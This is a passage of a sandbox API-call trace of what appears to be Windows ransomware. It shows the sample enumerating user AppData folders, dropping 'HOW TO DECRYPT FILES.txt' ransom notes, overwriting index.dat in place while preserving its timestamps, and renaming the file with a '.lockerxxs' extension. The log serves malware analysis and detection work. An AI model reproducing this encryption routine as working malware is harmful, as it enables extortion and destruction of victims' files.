lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="AY721QDR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR" [0088.013] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.013] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.013] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.013] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.013] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.013] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.013] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0088.013] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x590041, dwReserved1=0x320037, cFileName="DZBKZBIC", cAlternateFileName="")) returned 1 [0088.013] lstrcmpA (lpString1=".", lpString2="DZBKZBIC") returned -1 [0088.013] lstrcmpA (lpString1="..", lpString2="DZBKZBIC") returned -1 [0088.013] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*") returned="*.*" [0088.013] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="DZBKZBIC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC" [0088.014] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.014] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.014] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.014] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.014] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.014] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.014] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0088.014] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x5a0044, dwReserved1=0x4b0042, cFileName="index.dat", cAlternateFileName="")) returned 1 [0088.014] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.014] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0088.014] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0088.014] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0088.014] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*") returned="*.*" [0088.015] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\" [0088.015] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="" [0088.015] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\HOW TO DECRYPT FILES.txt" [0088.015] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\how to decrypt files.txt")) returned 0xffffffff [0088.015] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.019] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.019] CloseHandle (hObject=0x9c) returned 1 [0088.019] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" [0088.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat", pszSpec="*.ems") returned 0 [0088.020] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" [0088.020] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" [0088.020] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat." [0088.020] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.lockerxxs" [0088.020] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.021] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0088.021] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x54b9d5d0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x54b9d5d0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbaf619f0, dwHighDateTime=0x1d2faf2)) returned 1 [0088.021] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.021] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7fda, lpOverlapped=0x0) returned 1 [0088.024] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat") returned="index.dat" [0088.024] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.024] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fda, lpOverlapped=0x0) returned 1 [0088.025] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.025] CloseHandle (hObject=0x9c) returned 1 [0088.025] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat.lockerxxs")) returned 1 [0088.026] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c00031f, dwReserved1=0x4e00c4, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 1 [0088.026] lstrcmpA (lpString1=".", lpString2="VRLZOZ0E") returned -1 [0088.026] lstrcmpA (lpString1="..", lpString2="VRLZOZ0E") returned -1 [0088.026] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat") returned="index.dat" [0088.026] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="VRLZOZ0E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E" [0088.026] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E") returned 95 [0088.026] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.027] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.027] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0088.027] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.027] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.027] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 0 [0088.027] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0088.027] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c00031f, dwReserved1=0x4e00c4, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 0 [0088.027] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.027] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0088.027] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.028] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 0 [0088.028] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.028] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0049, dwReserved1=0x650074, cFileName="MMC", cAlternateFileName="")) returned 1 [0088.028] lstrcmpA (lpString1=".", lpString2="MMC") returned -1 [0088.028] lstrcmpA (lpString1="..", lpString2="MMC") returned -1 [0088.028] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.028] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC" [0088.028] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC") returned 59 [0088.028] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730055, dwReserved1=0x720065, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.029] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.029] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x720000, cFileName="..", cAlternateFileName="")) returned 1 [0088.029] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.029] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.029] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x720000, cFileName="..", cAlternateFileName="")) returned 0 [0088.029] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.029] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x43, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0088.029] lstrcmpA (lpString1=".", lpString2="MS Project") returned -1 [0088.029] lstrcmpA (lpString1="..", lpString2="MS Project") returned -1 [0088.029] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.029] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project" [0088.029] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project") returned 66 [0088.029] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.056] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.056] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.056] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.056] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.056] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 